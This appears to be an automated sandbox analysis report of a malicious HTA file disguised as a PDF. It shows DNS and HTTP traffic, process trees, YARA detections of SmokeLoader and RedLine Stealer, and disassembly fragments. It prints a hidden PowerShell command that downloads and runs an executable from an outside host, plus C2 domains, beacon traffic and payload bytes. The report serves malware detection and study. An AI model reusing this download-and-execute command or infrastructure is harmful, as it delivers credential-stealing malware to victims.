Oct 2, 2024 12:26:01.354024887 CEST	8.8.8.8	192.168.2.22	0xc2c0	Name error (3)	informcoopirationunicolceo.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.106161118 CEST	8.8.8.8	192.168.2.22	0xe8fb	No error (0)	unicexpertmagazine.pw		185.219.7.204	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.442692041 CEST	8.8.8.8	192.168.2.22	0xe8fb	No error (0)	unicexpertmagazine.pw		185.219.7.204	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.450836897 CEST	8.8.8.8	192.168.2.22	0xe8fb	No error (0)	unicexpertmagazine.pw		185.219.7.204	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.476615906 CEST	8.8.8.8	192.168.2.22	0x58f7	No error (0)	unicexpertmagazine.pw		185.219.7.204	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.859625101 CEST	8.8.8.8	192.168.2.22	0xf219	Name error (3)	ceoconstractionstore.pl	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.866856098 CEST	8.8.8.8	192.168.2.22	0xf219	Name error (3)	ceoconstractionstore.pl	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.901748896 CEST	8.8.8.8	192.168.2.22	0xf219	Name error (3)	ceoconstractionstore.pl	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:08.914154053 CEST	8.8.8.8	192.168.2.22	0xf219	Name error (3)	ceoconstractionstore.pl	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:09.882325888 CEST	8.8.8.8	192.168.2.22	0x8979	Name error (3)	openclehardware.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:12.283221006 CEST	8.8.8.8	192.168.2.22	0x8979	Name error (3)	openclehardware.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:13.487202883 CEST	8.8.8.8	192.168.2.22	0x8979	Server failure (2)	openclehardware.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:14.482283115 CEST	8.8.8.8	192.168.2.22	0x8979	Server failure (2)	openclehardware.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:14.615937948 CEST	8.8.8.8	192.168.2.22	0x38c8	Name error (3)	informcoopirationunicolceo.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:14.639007092 CEST	8.8.8.8	192.168.2.22	0x38c8	Name error (3)	informcoopirationunicolceo.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:16.203147888 CEST	8.8.8.8	192.168.2.22	0x8979	Server failure (2)	openclehardware.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:16.307799101 CEST	8.8.8.8	192.168.2.22	0x38c8	Name error (3)	informcoopirationunicolceo.ru	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 12:27:18.603172064 CEST	8.8.8.8	192.168.2.22	0x38c8	Name error (3)	informcoopirationunicolceo.ru	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ukr-net-filesrever.pw

navjbpyetuaao.org

unicexpertmagazine.pw

kwbsyhfpuedti.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	185.219.7.204	80	3612	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 12:25:10.301162958 CEST	87	OUT	GET /download/svc.exe HTTP/1.1 Host: ukr-net-filesrever.pw Connection: Keep-Alive
Oct 2, 2024 12:25:20.716655970 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 02 Oct 2024 10:25:20 GMT Content-Type: application/x-msdos-program Content-Length: 222720 Connection: close Last-Modified: Wed, 02 Oct 2024 05:06:08 GMT ETag: "36600-62377654eb000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 06 d2 fc 49 42 b3 92 1a 42 b3 92 1a 42 b3 92 1a 5c e1 16 1a 5e b3 92 1a 5c e1 07 1a 51 b3 92 1a 5c e1 11 1a 1e b3 92 1a 65 75 e9 1a 45 b3 92 1a 42 b3 93 1a 32 b3 92 1a 5c e1 18 1a 43 b3 92 1a 5c e1 06 1a 43 b3 92 1a 5c e1 03 1a 43 b3 92 1a 52 69 63 68 42 b3 92 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1e 60 49 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 80 01 00 00 64 11 00 00 00 00 00 16 17 00 00 00 10 00 00 00 90 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 13 00 00 04 00 00 03 a2 03 00 02 00 00 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$IBBB\^\Q\euEB2\C\C\CRichBPEL`Ied@DPPX.text~ `.rdata" "@@.data@.tls@@.rsrcP@@
Oct 2, 2024 12:25:20.716855049 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3b 0d 08 c0 41 00 75 02 f3 c3 e9 11 07 00 00 6a 0c 68 90 a4 41 00 e8 05 15 00 00 8b 75 08 85 f6 74 Data Ascii: ;AujhAutu=?QuCjYeVYEtVP>YYE}u7ujYVj5AAuhAPYUQeVEPu
Oct 2, 2024 12:25:20.716869116 CEST	1236	IN	Data Raw: ff 75 08 e8 55 16 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 9e 07 00 00 85 c0 74 0a e8 95 07 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 6a 0a 6a 00 ff 75 08 e8 6b 19 00 00 83 c4 0c 5d c3 8b ff 55 8b ec 8b 45 08 56 8b f1 c6 46 0c Data Ascii: uUu9EttM^Ujjuk]UEVFucH&FHlHhN;AtAHpu"F;AtFAHpuWFF@puHpF@F^]U(SVuMdu3;u(SSSSS
Oct 2, 2024 12:25:20.717072964 CEST	1236	IN	Data Raw: ff 75 08 e8 61 2f 00 00 68 ff 00 00 00 e8 27 fd ff ff 59 59 5d c3 6a 58 68 d0 a4 41 00 e8 7b 0f 00 00 33 f6 89 75 fc 8d 45 98 50 ff 15 c0 90 41 00 6a fe 5f 89 7d fc b8 4d 5a 00 00 66 39 05 00 00 40 00 75 38 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 Data Ascii: ua/h'YY]jXhA{3uEPAj_}MZf9@u8<@@PEu'f9@ut@v39@Mu3CSoYujXY~"ujGY1];}j&Y;?Qo;xA:}jYw8}j
Oct 2, 2024 12:25:20.717091084 CEST	448	IN	Data Raw: 5e 5d c3 8b ff 55 8b ec 8b 0d c4 3f 51 00 a1 c8 3f 51 00 6b c9 14 03 c8 eb 11 8b 55 08 2b 50 0c 81 fa 00 00 10 00 72 09 83 c0 14 3b c1 72 eb 33 c0 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 8b 41 10 56 8b 75 0c 57 8b fe 2b 79 0c 83 c6 fc c1 ef 0f 8b Data Ascii: ^]U?Q?QkU+Pr;r3]UMAVuW+yiDMIMS1UVUU]utJ?vj?ZK;KuB sL!\Du#M!JL!uM!Y]S[MMZU
Oct 2, 2024 12:25:20.717108965 CEST	448	IN	Data Raw: 5e 5d c3 8b ff 55 8b ec 8b 0d c4 3f 51 00 a1 c8 3f 51 00 6b c9 14 03 c8 eb 11 8b 55 08 2b 50 0c 81 fa 00 00 10 00 72 09 83 c0 14 3b c1 72 eb 33 c0 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 8b 41 10 56 8b 75 0c 57 8b fe 2b 79 0c 83 c6 fc c1 ef 0f 8b Data Ascii: ^]U?Q?QkU+Pr;r3]UMAVuW+yiDMIMS1UVUU]utJ?vj?ZK;KuB sL!\Du#M!JL!uM!Y]S[MMZU
Oct 2, 2024 12:25:20.877479076 CEST	1236	IN	Data Raw: 8d 0c d1 8b 59 04 89 4e 08 89 5e 04 89 71 04 8b 4e 04 89 71 08 8b 4e 04 3b 4e 08 75 60 8a 4c 02 04 88 4d 0f fe c1 88 4c 02 04 83 fa 20 73 25 80 7d 0f 00 75 0e 8b ca bb 00 00 00 80 d3 eb 8b 4d 08 09 19 bb 00 00 00 80 8b ca d3 eb 8d 44 b8 44 09 18 Data Ascii: YN^qNqN;Nu`LML s%}uMDD)}uJMYJED0EA?Q5Ah@HSQ?QAPA@?QA@H
Oct 2, 2024 12:25:20.877532005 CEST	224	IN	Data Raw: fc 89 44 32 f8 e9 3c 01 00 00 33 c0 e9 38 01 00 00 0f 8d 2f 01 00 00 8b 5d 0c 29 75 10 8d 4e 01 89 4b fc 8d 5c 33 fc 8b 75 10 c1 fe 04 4e 89 5d 0c 89 4b fc 83 fe 3f 76 03 6a 3f 5e f6 45 fc 01 0f 85 80 00 00 00 8b 75 fc c1 fe 04 4e 83 fe 3f 76 03 Data Ascii: D2<38/])uNK\3uN]K?vj?^EuN?vj?^O;OuB st!\Du#M!NL!uM!Y]OwqwOquuuN?vj?^MyK{YKYK
Oct 2, 2024 12:25:21.403520107 CEST	1236	IN	Data Raw: 04 3b 4b 08 75 57 8a 4c 06 04 88 4d 0f fe c1 88 4c 06 04 83 fe 20 73 1c 80 7d 0f 00 75 0e 8b ce bf 00 00 00 80 d3 ef 8b 4d 08 09 39 8d 44 90 44 8b ce eb 20 80 7d 0f 00 75 10 8d 4e e0 bf 00 00 00 80 d3 ef 8b 4d 08 09 79 04 8d 84 90 c4 00 00 00 8d Data Ascii: ;KuWLML s}uM9DD }uNMyNED3@_^[U?QMk?QMSI VW}M3U?QS;#U#u];r;u?QS;#U#u
Oct 2, 2024 12:25:21.403785944 CEST	1236	IN	Data Raw: 58 0c 74 12 68 08 c0 41 00 57 8b d3 8b c8 e8 e2 33 00 00 8b 45 0c 8b 4d f8 89 48 0c 8b 06 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 31 e9 ff ff 8b 4e 0c 8b 56 08 03 cf 33 0c 3a e8 21 e9 ff ff 8b 45 f0 8b 48 08 8b d7 e8 75 33 00 00 ba fe ff ff ff Data Ascii: XthAW3EMHtN381NV3:!EHu39SRhAW3jhAM3;v.jX3;E@u3WWWWW3Mu;u3F3]wi=?QuKuE;?Qw7jY}
Oct 2, 2024 12:25:21.403804064 CEST	1236	IN	Data Raw: 0f b6 03 3b c8 77 16 2b c1 40 50 8d 94 0d fc fe ff ff 6a 20 52 e8 23 2f 00 00 83 c4 0c 43 8a 03 43 84 c0 75 d8 6a 00 ff 76 0c 8d 85 fc fa ff ff ff 76 04 50 57 8d 85 fc fe ff ff 50 6a 01 6a 00 e8 11 36 00 00 33 db 53 ff 76 04 8d 85 fc fd ff ff 57 Data Ascii: ;w+@Pj R#/CCujvvPWPjj63SvWPWPWvS3DSvWPWPhvS3$3EtLtL @;rV3)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49162	185.219.7.204	80	1244	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 12:25:56.252652884 CEST	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://navjbpyetuaao.org/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 275 Host: unicexpertmagazine.pw
Oct 2, 2024 12:25:56.252680063 CEST	275	OUT	Data Raw: a1 5f 7d 2c f5 37 58 cc ca 39 a0 ca 80 c7 59 3d 53 39 ce 58 6b c0 31 57 af 22 c8 6c 7b fd 05 56 b9 51 d4 fd 4a d1 06 3e 59 ce cd 04 b6 49 02 33 db 73 6b 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 4d 8d e0 18 1d ce ca bf 4a 72 43 29 be 81 49 54 cb Data Ascii: _},7X9Y=S9Xk1W"l{VQJ>YI3sk2m-^MJrC)IT?%:[]fn#8OS9?T5z4w<r"\'0<u8b8lQC,V'a]>*@fC3BQ"R:uTIH;TeMk:<r
Oct 2, 2024 12:25:57.549443007 CEST	602	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 02 Oct 2024 10:25:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 61 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 [TRUNCATED] Data Ascii: 1a2<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at unicexpertmagazine.pw Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49163	185.219.7.204	80	1244	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 12:27:08.482836962 CEST	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kwbsyhfpuedti.net/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 325 Host: unicexpertmagazine.pw
Oct 2, 2024 12:27:08.482875109 CEST	325	OUT	Data Raw: a1 5f 7d 2c f5 37 58 cc ca 39 a0 ca 80 c7 59 3d 53 39 ce 58 6b c0 31 57 af 22 c8 6c 7b fd 05 56 b9 51 d4 fd 4a d1 06 3e 59 ce cd 04 b6 49 02 33 db 73 6b 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 4d 8d e0 18 1d ce ca bf 4a 72 43 29 be 8e 37 37 a2 Data Ascii: _},7X9Y=S9Xk1W"l{VQJ>YI3sk2m-^MJrC)77EPUpD\|g A_<7G[8poDlBQ/\|>J\|ceiTc3s}]qb:kU@y)yK9\/$W[g;afP(@

Target ID:	0
Start time:	06:25:05
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\3388.PDF.hta"
Imagebase:	0x890000
File size:	13'312 bytes
MD5 hash:	ABDFC692D9FE43E2BA8FE6CB5A8CB95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:25:06
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$path = $Env:temp + '\EkXH.exe'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://ukr-net-filesrever.pw/download/svc.exe',$path); Start-Process -FilePath $path"
Imagebase:	0x12a0000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:25:24
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Local\Temp\EkXH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EkXH.exe"
Imagebase:	0x400000
File size:	222'720 bytes
MD5 hash:	31059E7394B880F017E83804D9B716AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.406593052.0000000000251000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000004.00000002.406664461.0000000000669000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000004.00000002.406577078.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000004.00000002.406582889.0000000000230000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 36%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:25:33
Start date:	02/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:25:55
Start date:	02/10/2024
Path:	C:\Windows\System32\taskeng.exe
Wow64 process (32bit):	false
Commandline:	taskeng.exe {A18241FA-0367-40E9-BBC3-15CE4DAD052A} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Imagebase:	0xff6a0000
File size:	464'384 bytes
MD5 hash:	65EA57712340C09B1B0C427B4848AE05
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	06:25:55
Start date:	02/10/2024
Path:	C:\Users\user\AppData\Roaming\vgjfftu
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vgjfftu
Imagebase:	0x400000
File size:	222'720 bytes
MD5 hash:	31059E7394B880F017E83804D9B716AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000008.00000002.472086421.0000000000220000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000008.00000002.476562400.0000000000999000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.475270997.0000000000230000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000008.00000002.476491461.0000000000251000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 36%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Function 004C0C78 Relevance: 2.7, Strings: 2, Instructions: 203COMMON

Download Yara Rule

Strings

@#$d, xrefs: 004C0CA7
@#$d, xrefs: 004C0CB1

Memory Dump Source

Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: @#$d$@#$d
API String ID: 0-3382464376
Opcode ID: e39e9212c2fac1925d7003e02bf782b075eb87f6da5028cc2366947b5e9a53d1
Instruction ID: c44c69d6b7988547f97543ff21f6966091b6a253d020a078e07cdfb2fd8b8bfb
Opcode Fuzzy Hash: e39e9212c2fac1925d7003e02bf782b075eb87f6da5028cc2366947b5e9a53d1
Instruction Fuzzy Hash: 3861E338704204DFDB659F64C854BAB7BE1AB81310F14846FE505DB392DB39DD82C796

Function 004C0C58 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

@#$d, xrefs: 004C0CA7

Memory Dump Source

Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: @#$d
API String ID: 0-996948863
Opcode ID: bec4a812e1180674b2c3025e6b273da6af8822f5772a0a58b7ac101078ac2bf8
Instruction ID: b4dc002ec0bbb4d526bc7f1ebdad378d896234525ffaa16740d93507eaec90ea
Opcode Fuzzy Hash: bec4a812e1180674b2c3025e6b273da6af8822f5772a0a58b7ac101078ac2bf8
Instruction Fuzzy Hash: 1A41BC38604349DFDBA88F64C454FAA7BB1AF41310F1480AFE849DB292D778DD85CB66

Function 004C0C73 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

@#$d, xrefs: 004C0CA7

Memory Dump Source

Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: @#$d
API String ID: 0-996948863
Opcode ID: 0749b9917ba27bf6d8f2b1d70b2e67351483b6a63d0fe51ed4fea3e6ad9d3931
Instruction ID: d0e6229cd28a7e6ae2aa32126154041b3398f9ad3abefb569ea5598d78451e26
Opcode Fuzzy Hash: 0749b9917ba27bf6d8f2b1d70b2e67351483b6a63d0fe51ed4fea3e6ad9d3931
Instruction Fuzzy Hash: 4D316D38600209DFDBA88F64C544FBB7BE1AB40350F14856EE80AAB291D779ED81DB55

Function 0019D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.390276805.000000000019D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0019D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_19d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9949015c9d79ec2dce5859fcafa6bd5e292fae1efdf1fcc963361699957a7ee7
Instruction ID: 6bc0abae46159e763daa03df7bc7e8a3e1eba03d8cb63b5f28ab347f28b88f50
Opcode Fuzzy Hash: 9949015c9d79ec2dce5859fcafa6bd5e292fae1efdf1fcc963361699957a7ee7
Instruction Fuzzy Hash: 7701A771504740AEEB144A15DC84767BB98EF81764F1CC555FC490B282C3799945CAB1

Function 0019D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.390276805.000000000019D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0019D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_19d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a7b455dd8b8bc89f292f99b18a19695d1d3534a277c033e5200eff58d4fc76
Instruction ID: 61540abf479576fc40f685270a500172b27cdedfbaf506b0bb1abd5981bb35d9
Opcode Fuzzy Hash: f7a7b455dd8b8bc89f292f99b18a19695d1d3534a277c033e5200eff58d4fc76
Instruction Fuzzy Hash: 37F0C271504240AFEB108A15DCC4B66FBE8EB41724F18C15AFC480F282C3799C45CAB1

Non-executed Functions

Function 004C02F0 Relevance: 10.2, Strings: 8, Instructions: 211COMMON

Download Yara Rule

Strings

T:6, xrefs: 004C0490
L4#p, xrefs: 004C040E
@#$d, xrefs: 004C0328
@#$d, xrefs: 004C0332
L4#p, xrefs: 004C0419
T:6, xrefs: 004C03D9
L4#p, xrefs: 004C03B0
T:6, xrefs: 004C036B

Memory Dump Source

Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: @#$d$@#$d$L4#p$L4#p$L4#p$T:6$T:6$T:6
API String ID: 0-384844843
Opcode ID: 151406b537882caa6ccd96e92ae5f53a9e2056e149801f52577335ff4022a0f3
Instruction ID: 07ab1112572c2a718bc828ade4f3d35ad8340c5c910b9b28b85fe2d84313754d
Opcode Fuzzy Hash: 151406b537882caa6ccd96e92ae5f53a9e2056e149801f52577335ff4022a0f3
Instruction Fuzzy Hash: CF611935704244DFDB599B64C850BBF77A2AF80310F14807BEA059B391DB78DD45CB9A

Function 004C00A0 Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

L4#p, xrefs: 004C0160
0:6, xrefs: 004C0240
0:6, xrefs: 004C011B
0:6, xrefs: 004C0189
@#$d, xrefs: 004C00E2
L4#p, xrefs: 004C01C9
@#$d, xrefs: 004C00D8
L4#p, xrefs: 004C01BE

Memory Dump Source

Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: 0:6$0:6$0:6$@#$d$@#$d$L4#p$L4#p$L4#p
API String ID: 0-48357444
Opcode ID: 184a83bbe3c7896c6c07789ddf2ac999985c14f8310e8116ed0131af0b0c250e
Instruction ID: 9804f0aad0a200485c85e872b3d98d4ab05093b0a351cf64c7266ad52190d757
Opcode Fuzzy Hash: 184a83bbe3c7896c6c07789ddf2ac999985c14f8310e8116ed0131af0b0c250e
Instruction Fuzzy Hash: B751F339B00248DFDB559E65C804BAFB7A2AF85310F18806BA9459B391CB75CE41CB96

Function 004C0848 Relevance: 7.7, Strings: 6, Instructions: 207COMMON

Download Yara Rule

Strings

@#$d, xrefs: 004C0880
L4#p, xrefs: 004C0908
@#$d, xrefs: 004C088A
L4#p, xrefs: 004C0966
,;6, xrefs: 004C0AA0
L4#p, xrefs: 004C0971

Memory Dump Source

Source File: 00000001.00000002.390815222.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: ,;6$@#$d$@#$d$L4#p$L4#p$L4#p
API String ID: 0-198401197
Opcode ID: 37d0af00016857c2e294387836a6be16aec1e0b45cf04e37f1971dedc699fa3d
Instruction ID: 018cfbe57bfe7440d0ac2f6a2685e51921e7c24b58a0801441901e497fd2e92e
Opcode Fuzzy Hash: 37d0af00016857c2e294387836a6be16aec1e0b45cf04e37f1971dedc699fa3d
Instruction Fuzzy Hash: D2612638700358DFDB559B64C804BBF7BA2AF85310F14806EE905AB392DB75CE41C7A6

Function 004C0FA2 Relevance: 6.4, Strings: 5, Instructions: 166COMMON

Download Yara Rule

Strings

L4#p, xrefs: 004C10A6
@#$d, xrefs: 004C0FC0
@#$d, xrefs: 004C0FCA
L4#p, xrefs: 004C1048
L4#p, xrefs: 004C10B1

Memory Dump Source

